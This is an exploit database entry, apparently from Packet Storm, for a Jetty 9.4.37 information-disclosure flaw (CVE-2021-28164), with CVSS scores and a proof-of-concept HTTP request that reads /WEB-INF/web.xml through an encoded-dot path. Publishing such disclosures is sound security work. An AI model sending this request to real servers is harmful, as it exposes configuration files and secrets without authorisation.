Jetty 9.4.37.v20210219 Information Disclosure

2021-10-2200:00:00

Mayank Deshmukh

packetstormsecurity.com

486

5.3 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

JSON

`# Exploit Title: Jetty 9.4.37.v20210219 - Information Disclosure   
# Date: 2021-10-21  
# Exploit Author: Mayank Deshmukh  
# Vendor Homepage: https://www.eclipse.org/jetty/  
# Software Link: https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-distribution/9.4.37.v20210219/  
# Version: 9.4.37.v20210219 and 9.4.38.v20210224  
# Tested on: Kali Linux  
# CVE : CVE-2021-28164  
  
POC #1 - web.xml  
  
GET /%2e/WEB-INF/web.xml HTTP/1.1  
Host: localhost:8080  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: close  
Upgrade-Insecure-Requests: 1  
Cache-Control: max-age=0  
  
`